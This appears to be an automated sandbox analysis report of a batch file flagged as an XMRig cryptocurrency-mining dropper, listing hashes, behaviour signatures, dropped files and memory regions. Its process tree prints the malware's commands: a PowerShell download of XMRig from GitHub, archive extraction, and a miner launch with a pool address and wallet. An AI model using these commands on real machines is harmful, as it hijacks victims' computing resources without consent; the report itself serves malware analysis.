Analysis

  • max time kernel
    1795s
  • max time network
    1799s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    26/12/2023, 02:00

General

  • Target

    tesy - Copy (6).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4700
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (6).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:164
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:648
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4572

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    3a7a599ea269c780c875e7120aa8e20f

    SHA1

    ad57b6119f6b189fec188a56b28b1c58aff03cd2

    SHA256

    7550f60f228f3ca27ceabfc3c947667ceffa3d436c2a7f70b2d5ffee2ec08f07

    SHA512

    a9b7f580fdd5db7e2117754b56a287d209cf90a03bfcfc279e28b4b22f89614ce7624a78fb0a5459a5e4495c3666700fd7abe27964a4741216be2b877315022c

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l4ovnxqu.awo.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    39KB

    MD5

    8bcb40694b50874dd0c55676903b8556

    SHA1

    615f3a92d7dea77cc87abb24fc2e98cfd973fb5f

    SHA256

    81078280f76c5843d76f1bdd20c70f0da946c16ddf5e209d8b57161718119852

    SHA512

    4b1ef16e8e1d44e72adcc14e1f0c502420872923d6317c3cf8561a25e28b9bf1a57bef1d3d95df967bdb288d586815e61ad81dbe6499c7a940350e5ed16799df

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    41KB

    MD5

    f2780bf3d483ea021c6f39a0533a0ea0

    SHA1

    46924f8add46c3b090ab5d0f344ff466f0b212ef

    SHA256

    c6b263e29ff57c0f795e80046d93fff3e020dec1cb71042ce294d249df384c01

    SHA512

    ce270b25151045e9796b60e24db24c33b02217b4c2b32260465c847e894ca259f71114e160b33108e59227d29c8ee88c888b0bbf8cf82211613578a161ae5929

  • memory/648-117-0x00007FFF7FF70000-0x00007FFF8095C000-memory.dmp

    Filesize

    9.9MB

  • memory/648-80-0x000001BDF9B00000-0x000001BDF9B12000-memory.dmp

    Filesize

    72KB

  • memory/648-93-0x000001BDF98A0000-0x000001BDF98AA000-memory.dmp

    Filesize

    40KB

  • memory/648-66-0x000001BDF98B0000-0x000001BDF98C0000-memory.dmp

    Filesize

    64KB

  • memory/648-43-0x000001BDF98B0000-0x000001BDF98C0000-memory.dmp

    Filesize

    64KB

  • memory/648-44-0x000001BDF98B0000-0x000001BDF98C0000-memory.dmp

    Filesize

    64KB

  • memory/648-42-0x00007FFF7FF70000-0x00007FFF8095C000-memory.dmp

    Filesize

    9.9MB

  • memory/4572-143-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-148-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-188-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-187-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-186-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-185-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-184-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-183-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-182-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-181-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-120-0x0000025B09670000-0x0000025B09690000-memory.dmp

    Filesize

    128KB

  • memory/4572-180-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-121-0x0000025B096C0000-0x0000025B096E0000-memory.dmp

    Filesize

    128KB

  • memory/4572-122-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-125-0x0000025B9D940000-0x0000025B9D960000-memory.dmp

    Filesize

    128KB

  • memory/4572-124-0x0000025B096E0000-0x0000025B09700000-memory.dmp

    Filesize

    128KB

  • memory/4572-123-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-126-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-127-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-129-0x0000025B9D940000-0x0000025B9D960000-memory.dmp

    Filesize

    128KB

  • memory/4572-128-0x0000025B096E0000-0x0000025B09700000-memory.dmp

    Filesize

    128KB

  • memory/4572-130-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-131-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-132-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-133-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-134-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-135-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-136-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-137-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-138-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-139-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-140-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-141-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-142-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-179-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-144-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-145-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-146-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-147-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-178-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-149-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-150-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-151-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-152-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-153-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-154-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-155-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-156-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-157-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-158-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-159-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-160-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-161-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-162-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-163-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-164-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-165-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-166-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-167-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-168-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-169-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-170-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-171-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-172-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-173-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-174-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-175-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-176-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4572-177-0x00007FF7A7C60000-0x00007FF7A8763000-memory.dmp

    Filesize

    11.0MB

  • memory/4700-29-0x000001CF9A060000-0x000001CF9A070000-memory.dmp

    Filesize

    64KB

  • memory/4700-4-0x000001CF99FB0000-0x000001CF99FD2000-memory.dmp

    Filesize

    136KB

  • memory/4700-6-0x00007FFF7FF70000-0x00007FFF8095C000-memory.dmp

    Filesize

    9.9MB

  • memory/4700-10-0x000001CF9A270000-0x000001CF9A2E6000-memory.dmp

    Filesize

    472KB

  • memory/4700-9-0x000001CF9A060000-0x000001CF9A070000-memory.dmp

    Filesize

    64KB

  • memory/4700-7-0x000001CF9A060000-0x000001CF9A070000-memory.dmp

    Filesize

    64KB

  • memory/4700-25-0x000001CF9A060000-0x000001CF9A070000-memory.dmp

    Filesize

    64KB

  • memory/4700-26-0x00007FFF7FF70000-0x00007FFF8095C000-memory.dmp

    Filesize

    9.9MB

  • memory/4700-34-0x00007FFF7FF70000-0x00007FFF8095C000-memory.dmp

    Filesize

    9.9MB

  • memory/4700-27-0x000001CF9A060000-0x000001CF9A070000-memory.dmp

    Filesize

    64KB

  • memory/4700-28-0x000001CF9A060000-0x000001CF9A070000-memory.dmp

    Filesize

    64KB